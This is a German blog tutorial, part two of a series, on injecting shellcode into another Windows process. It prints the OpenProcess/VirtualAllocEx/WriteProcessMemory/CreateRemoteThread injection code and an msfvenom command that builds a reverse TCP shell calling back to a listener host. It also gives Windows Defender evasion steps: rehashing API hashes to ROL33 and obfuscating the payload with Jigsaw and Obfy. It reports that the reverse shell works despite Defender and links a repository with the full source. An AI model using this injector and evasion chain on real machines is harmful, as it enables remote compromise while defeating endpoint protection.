In Teil 1 der Shellcode Injection Reihe haben wir eine Reverse Shell aus einem lokalen Prozess heraus gestartet. in Teil 2 schleusen wir den Shellcode direkt in einen Prozess ein. Diese Form der Injection wird in der Regel vom Windows Defender erkannt, so dass wir wieder einige Obfuscation Methoden einsetzen.
Wir benutzen einen 64-Bit Shellcode und setzen (bis auf eine Ausnahme) die gleichen Tools wie in Teil 1 ein. Den Quellcode könnt ihr im Github Repository herunterladen.
Unser Code soll die PID des Zielprozesses als Parameter beim Start übergeben bekommen. Die PID geben wir als Parameter an OpenProcess
, mit dem Rückgabewert des Programm-Handles.
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
Nun reservieren wir einen Speicherbereich für unseren Shellcode. Dies erreichen wir über die Funktion VirtualAllocEx
. Die Berechtigung für diesen Speicherbereich legen wir mit PAGE_EXECUTE_READWRITE
fest. Der Bereich hat somit Lese, Schreib, und Ausführungsberechtigung.
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof calc_pload, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
Im nächsten Schritt schreiben wir unseren Shellcode in den Speicherbereich mit WriteProcessMemory
.
WriteProcessMemory(processHandle, remoteBuffer, calc_pload, sizeof calc_pload, NULL);
Der letzte Schritt erstellt einen neuen Thread im Kontext des Zielprozesses und führt unseren Shellcode schließlich aus. Hier nutzen wir die Funktion CreateRemoteThread
.
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
Wir erzeugen einen 64-Bit Shellcode mit msfvenom
, welchen wir nicht weiter enkodieren. Die Ausgabe erfolgt binär:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.28.126.97 LPORT=445 -b '\x00\x0d\x0a' -f raw > shell.raw
Metasploit benutzt ROR13 (Rotate Right 13) um System Adressen zu hashen. Wir machen aus ROR13 ROL33 (Rotate Left 33). Hierzu benutzen wir ein python Script, welches in diesem interessanten Blog Beitrag näher erklärt wird:
python3 function_encoder.py --shellcode shell.raw --key 33
Ein Blick auf die Shellcode Ausgabe hilft uns später zu überprüfen, ob dieser richtig im Speicher des Zielprozesses hinterlegt ist.
In Teil 1 habe ich Jigsaw 1) benutzt, um den Shellcode zu tarnen. Dies allein hat jedoch nicht ausgereicht, so dass die kompilierte Datei direkt erkannt wurde. Dennoch habe ich Jigsaw auch für Teil 2 benutzt. Wir benutzen die durch den function_encoder.py
erzeugte Datei output.bin
.
Jigsaw in Verbindung mit Obfy 2) war direkt ein Erfolg. Windows Defender konnte die kompilierte Datei nicht mehr erkennen. Hierzu musste ich nicht einmal viel machen. Es hat schon gereicht die Anweisungen OBF_BEGIN
und OBF_END
zu setzen.
Diesmal reizen wir Obfy etwas mehr aus: die Schleife, welche unseren Jigsaw Code wieder in Shellcode umwandelt, sieht derzeit so aus:
for (int sdx = 0; sdx < sizeof(poss) / sizeof(poss[0]); sdx++) { pos = poss[sdx]; calc_pload[pos] = jiggy[sdx];
Wir benutzen die Obfy Templates und basteln uns eine neue Schleife, welche z.B. so aussehen kann:
OBF_BEGIN FOR(V(sdx) = N(0), sdx < sizeof(poss) / sizeof(poss[0]), sdx += 1) { pos = poss[sdx]; calc_pload[pos] = jiggy[sdx]; } ENDFOR OBF_END
Wenn wir nun den Speicher von notepad.exe
betrachten, finden wir die RWX Sektion, in der uns ein bekannter Shellcode begrüßt. Die PID ist eine andere, als oben übergeben. Das liegt einfach an den unterschiedlichen Zeitpunkten, der Bildaufnahmen.
Ein direkter Scan erkennt keine Bedrohungen:
Windows Defender erkennt nach einiger Zeit, dass der Prozess nichts gutes im Sinn hat und beendet diesen. Waren wir nicht erfolgreich?
Doch waren wir! Die Reaktion vom Windows Defender kam zu spät. Dieser beendet zwar den aktuell laufenden Thread, doch die Shell funktioniert dennoch. Warum der Defender so langsam reagiert ist mir dabei allerdings nicht klar. Wenn hierzu jemand eine Antwort kennt, gerne in die Kommentare schreiben.
git clone https://github.com/psycore8/nosoc-shellcode
Im dritten Teil beschäftigen wir uns mit Native API Aufrufen.